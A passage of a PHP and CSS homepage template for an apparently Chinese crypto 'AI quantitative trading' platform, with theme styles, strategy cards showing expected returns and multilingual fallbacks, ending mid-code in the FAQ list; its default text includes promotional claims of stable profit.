.style-sakura footer { background: linear-gradient(45deg, #ff69b4, #ff1493) !important; color: white; }
.style-aurora footer { background: linear-gradient(45deg, #00ff88, #00d4aa) !important; color: white; }
.style-violet footer { background: linear-gradient(45deg, #8a2be2, #9932cc) !important; color: white; }
.style-steel footer { background: linear-gradient(45deg, #708090, #2f4f4f) !important; color: white; }
.style-flame footer { background: linear-gradient(45deg, #ff4500, #dc143c) !important; color: white; }
.style-mint footer { background: linear-gradient(45deg, #00ff7f, #00ced1) !important; color: white; }
.style-amber footer { background: linear-gradient(45deg, #ffbf00, #ff8c00) !important; color: white; }
.style-indigo footer { background: linear-gradient(45deg, #4b0082, #6a0dad) !important; color: white; }
.style-coral footer { background: linear-gradient(45deg, #ff7f50, #ff6347) !important; color: white; }
.style-emerald footer { background: linear-gradient(45deg, #50c878, #00a86b) !important; color: white; }
.style-rosegold footer { background: linear-gradient(45deg, #e8b4b8, #d4af37) !important; color: white; }
.style-starry footer { background: linear-gradient(45deg, #9370db, #ba55d3) !important; color: white; }

/* 新增风格特定样式 - 整体背景 */
.style-ocean { background-color: #e6f7ff; }
.style-forest { background-color: #f0f8f0; }
.style-sunset { background-color: #fff5e6; }
.style-sakura { background-color: #ffe6f0; }
.style-aurora { background-color: #e6fff7; }
.style-violet { background-color: #f0e6ff; }
.style-steel { background-color: #f5f5f5; }
.style-flame { background-color: #ffe6e6; }
.style-mint { background-color: #e6fff0; }
.style-amber { background-color: #fff8e6; }
.style-indigo { background-color: #f0e6ff; }
.style-coral { background-color: #ffe6e6; }
.style-emerald { background-color: #e6f7f0; }
.style-rosegold { background-color: #fff0f0; }
.style-starry { background-color: #f0e6ff; }

/* 新增风格特定样式 - 卡片 */
.style-ocean .card { background: rgba(0, 180, 219, 0.1); border: 1px solid rgba(0, 180, 219, 0.3); color: #0f4c75; }
.style-forest .card { background: rgba(45, 80, 22, 0.1); border: 1px solid rgba(45, 80, 22, 0.3); color: #1a2e1a; }
.style-sunset .card { background: rgba(255, 107, 53, 0.1); border: 1px solid rgba(255, 107, 53, 0.3); color: #2c1810; }
.style-sakura .card { background: rgba(255, 105, 180, 0.1); border: 1px solid rgba(255, 105, 180, 0.3); color: #2d1b2e; }
.style-aurora .card { background: rgba(0, 255, 136, 0.1); border: 1px solid rgba(0, 255, 136, 0.3); color: #0a1929; }
.style-violet .card { background: rgba(138, 43, 226, 0.1); border: 1px solid rgba(138, 43, 226, 0.3); color: #2d1b69; }
.style-steel .card { background: rgba(112, 128, 144, 0.1); border: 1px solid rgba(112, 128, 144, 0.3); color: #1c1c1c; }
.style-flame .card { background: rgba(255, 69, 0, 0.1); border: 1px solid rgba(255, 69, 0, 0.3); color: #2c0e0e; }
.style-mint .card { background: rgba(0, 255, 127, 0.1); border: 1px solid rgba(0, 255, 127, 0.3); color: #0d2d2d; }
.style-amber .card { background: rgba(255, 191, 0, 0.1); border: 1px solid rgba(255, 191, 0, 0.3); color: #2d1a00; }
.style-indigo .card { background: rgba(75, 0, 130, 0.1); border: 1px solid rgba(75, 0, 130, 0.3); color: #1a0d2e; }
.style-coral .card { background: rgba(255, 127, 80, 0.1); border: 1px solid rgba(255, 127, 80, 0.3); color: #2d1a1a; }
.style-emerald .card { background: rgba(80, 200, 120, 0.1); border: 1px solid rgba(80, 200, 120, 0.3); color: #0d2d1a; }
.style-rosegold .card { background: rgba(232, 180, 184, 0.1); border: 1px solid rgba(232, 180, 184, 0.3); color: #2d1a1a; }
.style-starry .card { background: rgba(147, 112, 219, 0.1); border: 1px solid rgba(147, 112, 219, 0.3); color: #0a0a2e; }

/* 新增风格特定样式 - 按钮悬停效果 */
.style-ocean .btn-primary:hover { background: linear-gradient(45deg, #0083b0, #00b4db); transform: translateY(-2px); }
.style-forest .btn-primary:hover { background: linear-gradient(45deg, #4a7c59, #2d5016); transform: translateY(-2px); }
.style-sunset .btn-primary:hover { background: linear-gradient(45deg, #f7931e, #ff6b35); transform: translateY(-2px); }
.style-sakura .btn-primary:hover { background: linear-gradient(45deg, #ff1493, #ff69b4); transform: translateY(-2px); }
.style-aurora .btn-primary:hover { background: linear-gradient(45deg, #00d4aa, #00ff88); transform: translateY(-2px); }
.style-violet .btn-primary:hover { background: linear-gradient(45deg, #9932cc, #8a2be2); transform: translateY(-2px); }
.style-steel .btn-primary:hover { background: linear-gradient(45deg, #2f4f4f, #708090); transform: translateY(-2px); }
.style-flame .btn-primary:hover { background: linear-gradient(45deg, #dc143c, #ff4500); transform: translateY(-2px); }
.style-mint .btn-primary:hover { background: linear-gradient(45deg, #00ced1, #00ff7f); transform: translateY(-2px); }
.style-amber .btn-primary:hover { background: linear-gradient(45deg, #ff8c00, #ffbf00); transform: translateY(-2px); }
.style-indigo .btn-primary:hover { background: linear-gradient(45deg, #6a0dad, #4b0082); transform: translateY(-2px); }
.style-coral .btn-primary:hover { background: linear-gradient(45deg, #ff6347, #ff7f50); transform: translateY(-2px); }
.style-emerald .btn-primary:hover { background: linear-gradient(45deg, #00a86b, #50c878); transform: translateY(-2px); }
.style-rosegold .btn-primary:hover { background: linear-gradient(45deg, #d4af37, #e8b4b8); transform: translateY(-2px); }
.style-starry .btn-primary:hover { background: linear-gradient(45deg, #ba55d3, #9370db); transform: translateY(-2px); }

.hero::before {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    background: url('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iMC4xIiBzdHJva2Utb3BhY2l0eT0iMC4xIi8+PC9zdmc+');
    opacity: 0.1;
}

@keyframes gradientBG {
    0% { background-position: 0% 50%; }
    50% { background-position: 100% 50%; }
    100% { background-position: 0% 50%; }
}

/* 卡片样式 */
.card {
    background: rgba(255, 255, 255, 0.05);
    backdrop-filter: blur(10px);
    border: 1px solid rgba(255, 255, 255, 0.1);
    box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
    transition: all 0.3s ease;
}

.card:hover {
    transform: translateY(-5px);
    box-shadow: 0 12px 40px 0 rgba(31, 38, 135, 0.47);
}

.card-body {
    position: relative;
    z-index: 1;
}

/* 图标动画 */
.fa-3x {
    background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    animation: pulse 2s infinite;
}

@keyframes pulse {
    0% { transform: scale(1); }
    50% { transform: scale(1.05); }
    100% { transform: scale(1); }
}

/* 按钮样式 */
.btn-primary {
    background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
    border: none;
    position: relative;
    overflow: hidden;
    z-index: 1;
    transition: all 0.3s ease;
}

.btn-primary::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
    transition: 0.5s;
    z-index: -1;
}

.btn-primary:hover::before {
    left: 100%;
}

/* 徽章样式 */
.badge {
    background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
    border: none;
    padding: 0.5em 1em;
}

/* 数字动画 */
.text-primary {
    background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
}

/* 响应式调整 */
@media (max-width: 768px) {
    .hero {
        padding: 3rem 0;
    }
    
    .card {
        margin-bottom: 2rem;
    }
}

/* 联系方式图标效果 */
.contact-icon {
    display: inline-block;
    width: 40px;
    height: 40px;
    line-height: 40px;
    text-align: center;
    border-radius: 50%;
    background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
    margin-right: 10px;
    color: white;
    transition: all 0.3s ease;
}

.contact-icon:hover {
    transform: rotate(360deg);
}

/* 导航栏按钮样式 */
.nav-auth-btn {
    position: relative;
    overflow: hidden;
    padding: 8px 24px;
    border-radius: 20px;
    font-weight: 500;
    letter-spacing: 1px;
    transition: all 0.3s ease;
    text-transform: uppercase;
    font-size: 0.9rem;
}

/* 登录按钮样式 */
.nav-login-btn {
    background: linear-gradient(45deg, #2193b0, #6dd5ed);
    color: white !important;
    border: none;
    box-shadow: 0 4px 15px rgba(33, 147, 176, 0.3);
}

.nav-login-btn:hover {
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(33, 147, 176, 0.4);
}

/* 注册按钮样式 */
.nav-register-btn {
    background: linear-gradient(45deg, #ff4e50, #f9d423);
    color: white !important;
    border: none;
    box-shadow: 0 4px 15px rgba(255, 78, 80, 0.3);
    margin-left: 10px;
}

.nav-register-btn:hover {
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(255, 78, 80, 0.4);
}

/* 按钮光效动画 */
.nav-auth-btn::after {
    content: '';
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    background: linear-gradient(transparent, rgba(255,255,255,0.3), transparent);
    transform: rotate(45deg);
    animation: buttonGlow 2s infinite;
}

@keyframes buttonGlow {
    0% {
        transform: rotate(45deg) translateX(-100%);
    }
    100% {
        transform: rotate(45deg) translateX(100%);
    }
}

/* 风格特定按钮样式 */
.style-business .btn-primary {
    background: linear-gradient(45deg, #2c3e50, #3498db);
}

.style-finance .btn-primary {
    background: linear-gradient(45deg, #f39c12, #e67e22);
}

.style-modern .btn-primary {
    background: linear-gradient(45deg, #e74c3c, #c0392b);
}

.style-dark .btn-primary {
    background: linear-gradient(45deg, #9b59b6, #8e44ad);
}

/* 风格特定标题样式 */
.style-business .hero h1,
.style-business .hero p {
    color: #ffffff !important;
}

.style-finance .hero h1,
.style-finance .hero p {
    color: #ffffff !important;
}

.style-modern .hero h1,
.style-modern .hero p {
    color: #2c3e50 !important;
}

.style-dark .hero h1,
.style-dark .hero p {
    color: #ffffff !important;
}

/* 新增风格特定标题样式 */
.style-ocean .hero h1,
.style-ocean .hero p {
    color: #ffffff !important;
}

.style-forest .hero h1,
.style-forest .hero p {
    color: #ffffff !important;
}

.style-sunset .hero h1,
.style-sunset .hero p {
    color: #ffffff !important;
}

.style-sakura .hero h1,
.style-sakura .hero p {
    color: #ffffff !important;
}

.style-aurora .hero h1,
.style-aurora .hero p {
    color: #ffffff !important;
}

.style-violet .hero h1,
.style-violet .hero p {
    color: #ffffff !important;
}

.style-steel .hero h1,
.style-steel .hero p {
    color: #ffffff !important;
}

.style-flame .hero h1,
.style-flame .hero p {
    color: #ffffff !important;
}

.style-mint .hero h1,
.style-mint .hero p {
    color: #ffffff !important;
}

.style-amber .hero h1,
.style-amber .hero p {
    color: #ffffff !important;
}

.style-indigo .hero h1,
.style-indigo .hero p {
    color: #ffffff !important;
}

.style-coral .hero h1,
.style-coral .hero p {
    color: #ffffff !important;
}

.style-emerald .hero h1,
.style-emerald .hero p {
    color: #ffffff !important;
}

.style-rosegold .hero h1,
.style-rosegold .hero p {
    color: #ffffff !important;
}

.style-starry .hero h1,
.style-starry .hero p {
    color: #ffffff !important;
}

/* 风格特定卡片悬停效果 */
.style-business .card:hover {
    transform: translateY(-5px);
    box-shadow: 0 12px 40px 0 rgba(52, 152, 219, 0.3);
}

.style-finance .card:hover {
    transform: translateY(-5px);
    box-shadow: 0 12px 40px 0 rgba(243, 156, 18, 0.3);
}

.style-modern .card:hover {
    transform: translateY(-5px);
    box-shadow: 0 12px 40px 0 rgba(231, 76, 60, 0.3);
}

.style-dark .card:hover {
    transform: translateY(-5px);
    box-shadow: 0 12px 40px 0 rgba(155, 89, 182, 0.3);
}

/* 响应式调整 */
@media (max-width: 768px) {
    .nav-auth-btn {
        margin: 5px 0;
        width: 100%;
        text-align: center;
    }
}
</style>


<div class="text-center py-3" style="font-size:1.3em;font-weight:bold;color:#3fa7ff;background:#f8f9fa;">
    <?php echo htmlspecialchars($welcome_text); ?>
    <?php if (!empty($partner['manual_pdf'])): ?>
        <a href="<?php echo htmlspecialchars(get_image_url($partner['manual_pdf'] ?? '')); ?>" target="_blank" class="btn btn-danger btn-sm ms-3" style="vertical-align:middle;font-weight:bold;">
            <i class="fa fa-file-pdf-o" style="margin-right:4px;"></i><?php echo __t('nav_help', '使用说明'); ?>
        </a>
    <?php else: ?>
        <a href="<?= htmlspecialchars(rtrim($download_url, '/') . '/down/help.pdf') ?>" target="_blank" class="btn btn-danger btn-sm ms-3" style="vertical-align:middle;font-weight:bold;">
            <i class="fa fa-file-pdf-o" style="margin-right:4px;"></i><?php echo __t('nav_help', '使用说明'); ?>
        </a>
    <?php endif; ?>
</div>

<div class="hero text-white py-5">
    <div class="container">
        <div class="row align-items-center">
            <div class="col-md-6">
                <h1 class="display-4 mb-4" style="font-weight: 700;">
                    <?php echo htmlspecialchars($site_name); ?>
                </h1>
                <p class="lead mb-4">
                    <?php echo __t('home_hero_subtitle', '新一代AI量化交易系统'); ?>
                    <br>
                    <span class="typing-text"></span>
                </p>
                <div class="mt-4">
                    <?php if (!$session->isLoggedIn()): ?>
                    <a href="register.php" class="btn btn-lg btn-primary me-3"><?php echo __t('home_cta_start', '立即开始'); ?></a>
                    <a href="login.php" class="btn btn-lg btn-outline-light"><?php echo __t('home_cta_login', '用户登录'); ?></a>
                    <?php else: ?>
                    <a href="dashboard.php" class="btn btn-lg btn-primary"><?php echo __t('home_cta_dashboard', '进入系统'); ?></a>
                    <?php endif; ?>
                </div>
            </div>
            <div class="col-md-6">
                <div class="position-relative">
                     
                    <div class="floating-stats">
                        <div class="stat-card">
                            <h3>24/7</h3>
                            <p><?php echo __t('home_stat_24_7', '全天候运行'); ?></p>
                        </div>
                        <div class="stat-card">
                            <h3>AI</h3>
                            <p><?php echo __t('home_stat_ai', '智能决策'); ?></p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-8 text-center">
            <?php $banner_url = !empty($partner['banner_img']) ? $partner['banner_img'] : '/uploads/partner_logo/index.gif'; ?>
            <div style="width:100%;margin-bottom:18px;"><img src="<?php echo htmlspecialchars(get_image_url($banner_url)); ?>" alt="<?php echo __t('home_banner_alt', '广告图片'); ?>" style="width:100%;max-width:100vw;display:block;"></div>
            <h1 class="display-4 mb-4"><?php echo htmlspecialchars($site_name); ?></h1>
            <p class="lead mb-4"><?php echo __t('home_intro_slogan', '专业的数字资产量化交易平台'); ?></p>
            
            <div class="row justify-content-center mb-5">
                <div class="col-md-4">
                    <div class="card h-100">
                        <div class="card-body">
                            <i class="fa fa-robot fa-3x mb-3 text-primary"></i>
                            <h5 class="card-title"><?php echo __t('home_feature_ai_title', '智能量化'); ?></h5>
                            <p class="card-text"><?php echo __t('home_feature_ai_desc', '采用先进的AI算法，全自动交易'); ?></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="card h-100">
                        <div class="card-body">
                            <i class="fa fa-shield-alt fa-3x mb-3 text-primary"></i>
                            <h5 class="card-title"><?php echo __t('home_feature_safe_title', '安全可靠'); ?></h5>
                            <p class="card-text"><?php echo __t('home_feature_safe_desc', '资金安全，API私钥本地加密存储'); ?></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4">
                    <div class="card h-100">
                        <div class="card-body">
                            <i class="fa fa-chart-line fa-3x mb-3 text-primary"></i>
                            <h5 class="card-title"><?php echo __t('home_feature_profit_title', '收益稳定'); ?></h5>
                            <p class="card-text"><?php echo __t('home_feature_profit_desc', '稳定的交易策略，持续盈利'); ?></p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- 添加策略展示部分 -->
<section class="py-5">
    <div class="container">
        <!-- 平台优势模块标题由卡片内部标题显示，此处不重复显示 -->
        <div class="row justify-content-center">
            <div class="col-lg-8">
                <div class="card p-4 h-100" style="background: linear-gradient(135deg, var(--dark-bg), rgba(0,0,0,0.8)); border: 2px solid var(--primary-color); box-shadow: 0 0 20px rgba(0,234,255,0.3);">
                    <div class="card-body">
                        <?php
                            // 平台优势标题：优先用合伙人配置的（按当前语言），否则使用系统默认或语言包默认
                            $intro_title = partner_field('homepage_intro_title');
                            if ($intro_title === '') {
                                $intro_title = $settings['homepage_intro_title_default'] ?? __t('home_platform_adv_title', '平台优势');
                            }

                            // 平台优势内容：优先用合伙人配置的（按当前语言），否则使用系统默认或语言包默认
                            $intro_content = partner_field('homepage_intro_content');
                            if ($intro_content === '') {
                                $sys_default = $settings['homepage_intro_content_default'] ?? null;
                                $default_intro_content = $sys_default ?: __t(
                                    'home_platform_adv_content_default',
                                    "一、所有重要参数全部支持自定义，包括策略，合约，杠杆，止损止盈，做趋势还是震荡品种，加仓速度等，不会的可选默认，会的可自定义\n二、有一定用户量的可申请自定义网站，可拥有独立的域名，ＬＯＧＯ，网站名等。拥有自己的品牌与ＩＰ，用户全部自己管理。\n三、系统有自动提现功能。\n四、１０万个帐号会有１０万套系统，无一相同，可避免同时开平仓引起的各类风险。\n五、除了网格是不止损的，其他均带止损，非马丁\n六、变更杠杆等５分钟左右即可生效，还有更多功能等你来发现。"
                                );
                                $intro_content = $default_intro_content;
                            }
                            // 逐行修剪空白（兼容 \r\n / \r / \n）
                            $lines = preg_split("/\r\n|\r|\n/", (string)$intro_content);
                            $trimmed_lines = array_map(function($line) {
                                $line = preg_replace('/^[\p{Z}\s]+/u', '', $line); // 移除行首所有 Unicode 空白
                                return rtrim($line); // 移除行尾空白
                            }, $lines);
                            $intro_content = implode("\n", $trimmed_lines);
                        ?>
                        <h3 class="card-title text-center mb-4" style="font-size:2em; color: var(--primary-color);">
                            <?php echo htmlspecialchars($intro_title); ?>
                        </h3>
                        <p class="card-text" style="white-space: pre-line; word-break: break-word; color: white !important;">
                            <?php echo nl2br(htmlspecialchars($intro_content)); ?>
                        </p>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="container">
        <h2 class="text-center mb-4"><?php echo __t('home_strategy_title', '交易策略'); ?></h2>
        <div class="row">
            <?php
            foreach ($strategies as $strategy):
            ?>
            <div class="col-md-4 mb-4">
                <div class="card h-100">
                    <div class="card-body">
                        <?php
                            $sName = $strategy['name'];
                            // 非中文语言时：优先翻译到目标语言，失败则用英文，最后用中文
                            if (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn' && CURRENT_LANG !== 'zh_tw') {
                                // 对于英文：优先使用数据库中的英文版本
                                if (CURRENT_LANG === 'en') {
                                    if (!empty($strategy['name_en'])) {
                                        $sName = $strategy['name_en'];
                                    } elseif (function_exists('translate_content')) {
                                        // 如果没有英文版本，使用实时翻译并缓存，并自动更新到数据库
                                        $translated = translate_content(
                                            $strategy['name'], 
                                            CURRENT_LANG, 
                                            $pdo,
                                            [
                                                'table' => 'strategies',
                                                'id' => $strategy['id'],
                                                'field' => 'name'
                                            ]
                                        );
                                        if (!empty($translated) && $translated !== $strategy['name']) {
                                            $sName = $translated;
                                        }
                                    }
                                } else {
                                    // 对于其他语言（如阿拉伯语）：优先翻译中文原文到目标语言
                                    if (function_exists('translate_content')) {
                                        $translated = translate_content(
                                            $strategy['name'], 
                                            CURRENT_LANG, 
                                            $pdo
                                        );
                                        if (!empty($translated) && $translated !== $strategy['name']) {
                                            $sName = $translated;
                                        } else {
                                            // 翻译失败，回退到英文版本
                                            if (!empty($strategy['name_en'])) {
                                                $sName = $strategy['name_en'];
                                            }
                                        }
                                    } else {
                                        // 翻译函数不可用，尝试使用英文版本
                                        if (!empty($strategy['name_en'])) {
                                            $sName = $strategy['name_en'];
                                        }
                                    }
                                }
                            }
                        ?>
                        <h5 class="card-title"><?php echo htmlspecialchars($sName); ?></h5>
                        <div class="mb-3">
                            <span class="badge" style="background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));">
                                <?php
                                if ($strategy['type'] === 'contract') {
                                    echo __t('home_strategy_type_contract', '合约');
                                } else {
                                    echo __t('home_strategy_type_spot', '现货');
                                }
                                ?>
                            </span>
                            <span class="badge" style="background: linear-gradient(45deg, var(--primary-color), var(--secondary-color)); margin-left: 5px;">
                                <?php 
                                if ($strategy['risk_level'] === 'stable') {
                                    echo __t('home_strategy_risk_stable', '稳定型');
                                } elseif ($strategy['risk_level'] === 'enhanced') {
                                    echo __t('home_strategy_risk_enhanced', '增强型');
                                } else {
                                    echo __t('home_strategy_risk_aggressive', '激进型');
                                }
                                ?>
                            </span>
                        </div>
                        <?php
                            // 优先从语言包读取策略介绍（避免实时翻译）
                            $strategyDescKey = 'strategy_' . $strategy['id'] . '_description';
                            $sDesc = __t($strategyDescKey, '');
                            
                            // 如果语言包中没有，回退到数据库，并尝试实时翻译
                            if (empty($sDesc)) {
                                $sDesc = $strategy['description'];
                                
                                // 非中文语言时：优先使用数据库中的英文版本，否则尝试实时翻译
                                if (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn' && CURRENT_LANG !== 'zh_tw') {
                                    if (CURRENT_LANG === 'en') {
                                        if (!empty($strategy['description_en'])) {
                                            $sDesc = $strategy['description_en'];
                                        } elseif (function_exists('translate_content')) {
                                            // 如果没有英文版本，使用实时翻译并缓存
                                            $translated = translate_content(
                                                $strategy['description'], 
                                                CURRENT_LANG, 
                                                $pdo,
                                                [
                                                    'table' => 'strategies',
                                                    'id' => $strategy['id'],
                                                    'field' => 'description'
                                                ]
                                            );
                                            if (!empty($translated) && $translated !== $strategy['description']) {
                                                $sDesc = $translated;
                                            }
                                        }
                                    } else {
                                        // 对于其他语言：优先实时翻译，失败则回退到英文版本
                                        if (function_exists('translate_content')) {
                                            $translated = translate_content(
                                                $strategy['description'], 
                                                CURRENT_LANG, 
                                                $pdo
                                            );
                                            if (!empty($translated) && $translated !== $strategy['description']) {
                                                $sDesc = $translated;
                                            } else {
                                                // 翻译失败，回退到英文版本
                                                if (!empty($strategy['description_en'])) {
                                                    $sDesc = $strategy['description_en'];
                                                }
                                            }
                                        } else {
                                            // 翻译函数不可用，尝试使用英文版本
                                            if (!empty($strategy['description_en'])) {
                                                $sDesc = $strategy['description_en'];
                                            }
                                        }
                                    }
                                }
                            }
                        ?>
                        <p class="card-text"><?php echo nl2br(htmlspecialchars($sDesc)); ?></p>
                        <div class="mt-3">
                            <div class="d-flex justify-content-between mb-2">
                                <span><?php echo __t('home_strategy_metric_annual_return', '预期年化收益'); ?></span>
                                <span class="text-primary"><?php echo $strategy['annual_return']; ?>%</span>
                            </div>
                            <div class="d-flex justify-content-between">
                                <span><?php echo __t('home_strategy_metric_min_invest', '起投金额'); ?></span>
                                <span class="text-primary"><?php echo number_format($strategy['min_investment'], 2); ?> USDT</span>
                            </div>
                        </div>
                    </div>
                    <div class="card-footer bg-transparent">
                        <a href="register.php" class="btn btn-primary w-100" style="background: linear-gradient(45deg, var(--primary-color), var(--secondary-color)); border: none;"><?php echo __t('home_strategy_btn_start', '立即开始'); ?></a>
                    </div>
                </div>
            </div>
            <?php endforeach; ?>
        </div>
    </div>
</section>

<style>
/* 公告和FAQ区域样式 - 美化版本 */
.tech-notice-faq-section {
  margin: 20px 0;
}

.tech-card {
  background: var(--card-bg);
  border: 1px solid rgba(255, 255, 255, 0.15);
  border-radius: 16px;
  padding: 28px;
  transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
  height: 100%;
  box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08),
              0 1px 3px rgba(0, 0, 0, 0.1);
  position: relative;
  overflow: hidden;
}

.tech-card::before {
  content: '';
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  height: 3px;
  background: linear-gradient(90deg, var(--primary-color), var(--secondary-color));
  transform: scaleX(0);
  transform-origin: left;
  transition: transform 0.4s ease;
}

.tech-card:hover::before {
  transform: scaleX(1);
}

.tech-card:hover {
  transform: translateY(-5px);
  box-shadow: 0 12px 32px rgba(0, 0, 0, 0.12),
              0 0 0 1px var(--primary-color),
              0 0 20px rgba(0, 0, 0, 0.1);
  border-color: var(--primary-color);
}

.tech-title {
  display: flex;
  align-items: center;
  gap: 12px;
  margin-bottom: 24px;
  font-size: 22px;
  font-weight: 700;
  color: var(--primary-color);
  position: relative;
  padding-bottom: 12px;
}

.tech-title::after {
  content: '';
  position: absolute;
  bottom: 0;
  left: 0;
  width: 50px;
  height: 3px;
  background: linear-gradient(90deg, var(--primary-color), var(--secondary-color));
  border-radius: 2px;
}

.tech-title i {
  font-size: 24px;
  color: var(--primary-color);
  filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.2));
  animation: iconFloat 3s ease-in-out infinite;
}

@keyframes iconFloat {
  0%, 100% { transform: translateY(0); }
  50% { transform: translateY(-3px); }
}

.tech-list {
  list-style: none;
  padding: 0;
  margin: 0;
}

.tech-item {
  background: transparent;
  border-bottom: 1px solid rgba(255, 255, 255, 0.08);
  padding: 16px 0;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  display: flex;
  justify-content: space-between;
  align-items: center;
  position: relative;
  border-radius: 8px;
  margin-bottom: 4px;
}

.tech-item::before {
  content: '';
  position: absolute;
  left: -12px;
  top: 50%;
  transform: translateY(-50%);
  width: 4px;
  height: 0;
  background: linear-gradient(180deg, var(--primary-color), var(--secondary-color));
  border-radius: 2px;
  transition: height 0.3s ease;
}

.tech-item:last-child {
  border-bottom: none;
  margin-bottom: 0;
}

.tech-item:hover {
  background: rgba(255, 255, 255, 0.03);
  padding-left: 12px;
  padding-right: 8px;
  border-left: 3px solid var(--primary-color);
  box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
}

.tech-item:hover::before {
  height: 60%;
}

.tech-item-link {
  color: inherit;
  text-decoration: none;
  font-size: 15px;
  flex: 1;
  transition: all 0.3s ease;
  line-height: 1.7;
  font-weight: 500;
  display: -webkit-box;
  -webkit-line-clamp: 2;
  -webkit-box-orient: vertical;
  overflow: hidden;
  text-overflow: ellipsis;
}

.tech-item-link:hover {
  color: var(--primary-color);
  text-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
}

.tech-date {
  color: inherit;
  opacity: 0.65;
  font-size: 12px;
  font-weight: 500;
  white-space: nowrap;
  margin-left: 16px;
  padding: 4px 10px;
  background: rgba(255, 255, 255, 0.05);
  border-radius: 12px;
  border: 1px solid rgba(255, 255, 255, 0.1);
  transition: all 0.3s ease;
  flex-shrink: 0;
}

.tech-item:hover .tech-date {
  opacity: 1;
  background: rgba(255, 255, 255, 0.08);
  border-color: var(--primary-color);
  color: var(--primary-color);
}

.tech-empty {
  color: inherit;
  opacity: 0.5;
  text-align: center;
  padding: 40px 20px;
  font-size: 14px;
  font-style: italic;
}

/* 添加淡入动画 */
.tech-card {
  animation: fadeInUp 0.6s ease-out;
}

@keyframes fadeInUp {
  from {
    opacity: 0;
    transform: translateY(20px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

.tech-card:nth-child(2) {
  animation-delay: 0.1s;
}

@media (max-width: 768px) {
  .tech-card {
    padding: 22px;
    margin-bottom: 20px;
  }
  
  .tech-title {
    font-size: 20px;
    margin-bottom: 20px;
  }
  
  .tech-item {
    flex-direction: column;
    align-items: flex-start;
    gap: 8px;
    padding: 14px 0;
  }
  
  .tech-item:hover {
    padding-left: 8px;
    padding-right: 0;
  }
  
  .tech-date {
    margin-left: 0;
    align-self: flex-end;
  }
  
  .tech-item-link {
    -webkit-line-clamp: 3;
  }
}
</style>

<div class="container">
  <div class="tech-notice-faq-section">
    <div class="row g-3">
      <div class="col-md-6">
        <div class="tech-card">
          <h4 class="tech-title">
            <i class="fas fa-bullhorn"></i>
            <?php echo __t('home_latest_notice_title', '最新公告'); ?>
          </h4>
          <ul class="tech-list">
            <?php foreach($notices as $n): 
                // 获取翻译后的标题（支持实时翻译和缓存）
                $noticeTitle = $n['title'];
                if (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn' && CURRENT_LANG !== 'zh_tw') {
                    // 优先使用数据库中的英文版本
                    if (CURRENT_LANG === 'en' && !empty($n['title_en'])) {
                        $noticeTitle = $n['title_en'];
                    } elseif (function_exists('translate_content')) {
                        // 使用实时翻译并缓存
                        $noticeTitle = translate_content($n['title'], CURRENT_LANG, $pdo, [
                            'table' => 'notices_faqs',
                            'id' => $n['id'],
                            'field' => 'title_en'
                        ]);
                    }
                }
            ?>
            <li class="tech-item">
              <a href="notice_faq_detail.php?id=<?php echo $n['id']; ?><?php echo (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn') ? '&lang=' . CURRENT_LANG : ''; ?>" target="_blank" class="tech-item-link">
                <?php echo htmlspecialchars($noticeTitle); ?>
              </a>
              <span class="tech-date"><?php echo date('Y-m-d', strtotime($n['created_at'])); ?></span>
            </li>
            <?php endforeach; if(empty($notices)): ?>
            <li class="tech-empty"><?php echo __t('home_notice_empty', '暂无公告'); ?></li>
            <?php endif; ?>
          </ul>
        </div>
      </div>
      <div class="col-md-6">
        <div class="tech-card">
          <h4 class="tech-title">
            <i class="fas fa-question-circle"></i>
            <?php echo __t('home_latest_faq_title', '常见问题'); ?>
          </h4>
          <ul class="tech-list">
            <?php foreach($faqs as $f): 
                // 获取翻译后的标题（支持实时翻译和缓存）
                $faqTitle = $f['title'];
                if (defined('CURRENT_LANG') && CURRENT_LANG !== 'zh_cn' && CURRENT_LANG !== 'zh_tw') {
                    // 优先使用数据库中的英文版本
                    if (CURRENT_LANG === 'en' && !empty($f['title_en'])) {
                        $faqTitle = $f['title_en'];
                    } elseif (function_exists('translate_content')) {
                        // 使用实时翻译并缓存
                        $faqTitle = translate_content($f['title'], CURRENT_LANG, $pdo, [
                            'table' => 'notices_faqs',
                            'id' => $f['id'],
                            'field' => 'title_en'
